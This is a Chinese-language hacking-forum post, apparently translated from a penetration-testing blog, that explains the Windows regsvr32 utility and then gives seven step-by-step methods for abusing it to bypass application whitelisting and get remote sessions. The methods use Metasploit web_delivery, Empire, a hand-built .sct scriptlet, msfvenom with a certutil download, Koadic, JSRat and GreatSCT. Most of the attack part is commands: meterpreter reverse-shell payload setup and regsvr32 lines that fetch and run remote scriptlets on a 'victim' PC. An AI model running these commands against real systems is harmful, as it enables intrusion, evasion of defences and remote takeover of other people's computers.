taibeihacker
Moderator
0x00 regsvr简介
regsvr32表示Microsoft註冊服務。它是Windows的命令行實用工具。雖然regsvr32有時會導致問題出現,但它是Windows系統文件中的一個重要文件。該文件位於C:\\Windows的子文件夾中。該文件能夠被查看,跟踪和影響其他程序。它主要用於在Windows文件擴展名中註冊和取消註冊程序,因為它是.exe,它的進程廣泛地應用到OLE(對象鏈接和嵌入)、DLL(數據鏈接庫)和OCX(ActiveX控制模塊)中。上述進程在後台運行,可以通過任務管理器看到。它是微軟的可信文件之一。0x01 regsvr运行
當你通過regsvr32中註冊一個dll文件時,有關與regsvr32關聯的程序的信息將會被添加到Windows中。然後訪問這些進程查看器以了解程序數據的位置以及如何與程序數據進行交互。在註冊一個dll文件時,會將信息添加到目錄中,以便Windows可以使用它。這些文件的整個路徑在字面上都有可執行代碼,因此Windows可以調用特定的函數。這些文件非常方便,因為當軟件更新時,這些文件會自動調用更新的版本;簡而言之,它有助於避免軟件的版本問題。通常,除了註冊和註銷dll文件外,此文件不常用RegSvr32.exe具有以下命令行選項:
語法: Regsvr32 [/s][/u] [/n] [/i[:cmdline]] dllname
/u - 取消註冊server/i - 調用DllInstall傳遞一個可選的[cmdline];當它與/u一起使用時,調用dll uninstall/n - 不要調用DllRegisterServer;此選項必須與/i一起使用/s - Silent;不顯示消息框
要了解更多信息,請訪問:https://support.microsoft.com/en-us...tool-and-troubleshoot-regsvr32-error-messages
0x02 攻击regsvr的多种方法
Web deliveryEmpire
Manual
MSFVenom
Koadic
JSRat
GreatSCT
1.第一种方法:Web Delivery
該模塊可以快速啟動一個為payload提供服務的Web服務器。提供的命令將允許下載和執行payload。它將通過指定的腳本語言解析器或Regsvr32使用squiblydoo技術繞過應用程序白名單。此模塊的主要目的是當攻擊者必須手動輸入命令(例如命令注入)時,快速在目標計算機上建立會話:例如命令注入。Regsvr32使用squiblydoo技術繞過應用程序白名單。簽名的Microsoft二進製文件Regsvr32能夠運行.sct文件,然後在其中執行包含PowerShell命令。兩個Web請求(即.sct文件和PowerShell下載/執行)都可以在同一端口上執行。 “PSH(Binary)”會將文件寫入到硬盤中,允許自定義二進製文件被下載和執行。
use exploit/multi/script/web_delivery
msf exploit (web_delivery)set target 3
msf exploit (web_delivery) set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery) set lhost 192.168.1.109
msf exploit (web_delivery)set srvhost 192.168.1.109
msf exploit (web_delivery)exploit
複製下圖中突出被框選的代碼:

一旦該exploit被執行,您將擁有一個為您創建的URL。在受害者pc的命令提示符中運行該URL,如下所示:
regsvr32 /s /n /u /i:http://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令執行後按Enter鍵,您將擁有您的會話。如下圖所示,輸入sysinfo命令獲取主機信息:

2.第二种方法:PowerShell Empire
對於我們的下一個regsvr攻擊方法,我們將使用empire。 empire是一個後開發框架。到目前為止,我們必須將.sct標記與metasploit匹配,但在此方法中,我們將使用Empire框架。它只是基於python的powershell windows代理,這使得它非常有用。 empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發。您可以從https://github.com/empireproject/empire下載此框架。要了解empire的基本指南,請訪問我們的文章empire介紹:https://www.hackingarticles.in/hacking-with-empire-powershell-post-extraction-agent/
啟動Empire框架後,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。要設置偵聽器,請輸入以下命令:
uselistner http
set Host http://192.168.1.109
execute
使用以上命令,您將擁有一個活動的偵聽器。鍵入back以退出偵聽器,以便啟動PowerShell。

一旦斷開了偵聽器,就需要使用exploit來創建惡意文件。 empire中的stager是一段代碼段,它允許我們的惡意代碼通過被受感染主機上的代理運行。這意味著要創建一個exploit,我們必須使用stager。因此,輸入以下命令:
usestager windows/launcher_sct
set listener http
execute
執行命令後,usestager將在/tmp中創建一個launcher.sct。現在要獲取會話,請通過輸入以下命令啟動python服務器:
python -m SimpleHTTPServer 8080
當服務器啟動時,剩下的唯一步驟是在受害者的PC中執行我們的惡意軟件。為此,在命令提示符中輸入以下命令:
regsvr /s /n /u /i:http://192.168.1.109:8080/tmp/launcher.sct scrobj.dll
在上面的命令中,我們使用了端口8080,因為我們的python服務器是在同一個端口上被激活

按照說明執行上述操作後,您將收到一個會話。要訪問會話,請輸入以下命令:
interact 9ATUX4M7
9ATUX4M7:是代理/會話名稱。這將因會話而異。
3.第三种方法:在sct文件中注入PowerShell代码(手动方法)
我們的下一個方法將藉助於一個exploit。我們使用的exploit將幫助我們創建一段PowerShell代碼。我們先創建PowerShell,然後進入到kali和終端並輸入命令。運行此exploit後,它將在終端屏幕上顯示powershell代碼,如下圖所示:
use exploit/multi/script/web_delivery
msf exploit (web_delivery)set target 2
msf exploit (web_delivery) set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery) set lhost 192.168.1.109
msf exploit (web_delivery)set srvhost 192.168.1.109
msf exploit (web_delivery)exploit
複製下面突出顯示的文本代碼

Regsvr32是一個命令行實用程序,用於註冊和取消註冊OLE控件,例如Windows註冊表中的DLL和ActiveX控件。 Regsvr32.exe安裝在Windows XP及更高版本的Windows的%systemroot%\System32文件夾中。
現在我們需要創建一個.sct文件,以便我們的攻擊能夠執行。我們在網上找到了一個腳本來創建.sct文件。您可以通過單擊此处訪問腳本的鏈接。該腳本如下圖所示:

複製由web-delivery創建的PowerShell代碼,並將其粘貼到上面的腳本中,在上面的腳本中它會顯示“calc.exe”,如下圖所示,然後使用.sct擴展名保存它。

然後就像上訴一樣,運行以下命令在受害者的PC中使用regsvr32.exe執行.sct文件:
regsvr32/u/n/s/i:http://192.168.1.109/1.sct scrobj.dll

一旦執行了上述命令,您就可以通過Web_交互進行會話。要訪問會話類型“sessions 1”和“info”以獲取有關係統的基本信息。

4.第四种方法:MsfVenom
我們的下一個方法是使用msfvenom。通過這種方法,我們將創建兩個.sct文件,一個用於下載我們的惡意軟件,另一個用於執行它。但首先,讓我們開始使用MSFvenom,對於這種類型,請輸入以下命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe shell.exe

使用以下命令啟動python服務器:
python -m SimpleHTTPServer 80
同時,在前一種方法中使用的同一腳本中,注入certutil.exe命令以從遠程服務器調用shell.exe文件。因此,不要使用“calc.exe”寫入以下內容,並使用.sct擴展名再次保存文件:
certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe
我們在這裡使用了certutil,因為它允許在Windows中下載文件並將文件保存為3.sct。

現在,使用以下命令運行上面的腳本:
regsvr32 /u /n /s /i:http;//192.168.1.109/3.sct scrobj.dll

我們將創建另一個文件來執行以前的文件“shell.exe”。為此,再次採用相同的腳本,並在其中寫入“calc.exe”;因此,寫入以下命令:
cmd /k cd c:\Users\raj shell.exe

我們已將腳本保存為4.sct,並使用以下命令再次運行此腳本:
regsvr32 /u /n /s /i:http;//192.168.1.109/4.sct scrobj.dll

同時,啟動多處理程序,以獲得會話。因此,輸入以下命令:
use exploit/multi/handler
msf exploit(multi/handler) set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.109
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit
在受害者的主機上運行命令後,你將擁有一個meterpreter會話

5.第五种方法:Koadic
我們的下一個方法是使用koadic。 Koadic是一個Windows後期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework一旦koadic啟動並運行,輸入以下命令:
use stager/js/regsvr
set srvhost 192.168.1.107
run

在此之後,在受害者PC的命令提示符中輸入以下命令:
regsvr32 /u /n /s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll
運行上述命令後,您將擁有一個會話。要訪問會話請輸入以下命令:
zombies 0

6.第六种方法:JSRat
我們攻擊regsvr32的下一個方法是使用jsrat,你可以從GitHub下載它。這是另一個非常小的命令和控制框架,就像koadic和Powershell Empire一樣,只為rundll32.exe和regsvr32.exe生成惡意程序。 jsrat將創建一個Web服務器,在該Web服務器上,我們將找到.sct文件。要使用此方法,請鍵入以下命令:./JSRat.py -I 192.168.1.107 -p 4444

運行以上命令將啟動Web服務器。

在瀏覽器中打開它,如下所示。在這裡,您將找到需要在受害者的PC上運行的.sct文件。

在我們獲得命令後,在運行窗口中運行命令,如下圖所示:

在命令窗口中執行命令後,您將有一個會話,如圖所示:

7.第七种方法:GreatSCT
GreatSCT是一款允許您使用Metasploit exploit並允許它繞過大多數反病毒的工具。 GreatSCT目前得到了@ConsciousHacker的支持。你可以從下面地址中下載:GitHub - GreatSCT/GreatSCT: The project is called Great SCT (Great Scott). Great SCT is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team.
The project is called Great SCT (Great Scott). Great SCT is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team. - GreatSCT/GreatSCT
use Bypass

然後輸入“list”以獲取模塊列表

將顯示模塊列表,如下圖所示:

從模塊列表中選擇以下選項:
use regsvr/shellcode_iject/base64_migrate.py
generate


然後它會詢問你payload。只需按Enter鍵,即可將Windows/MeterPreter/Reverse_TCP作為默認payload,這就是我們需要的。在此之後,我們提供192.168.1.107和指定端口(any),如下圖所示,我們將lport設置為2345。

在給出詳細信息後,它會詢問您的惡意軟件的名稱。默認情況下,它將設置名稱為“payload”,以便您可以提供名稱,或者只需按Enter鍵進行默認設置。

當你按Enter鍵時,它會生成兩個文件。其中一個是資源文件,另一個是.sct文件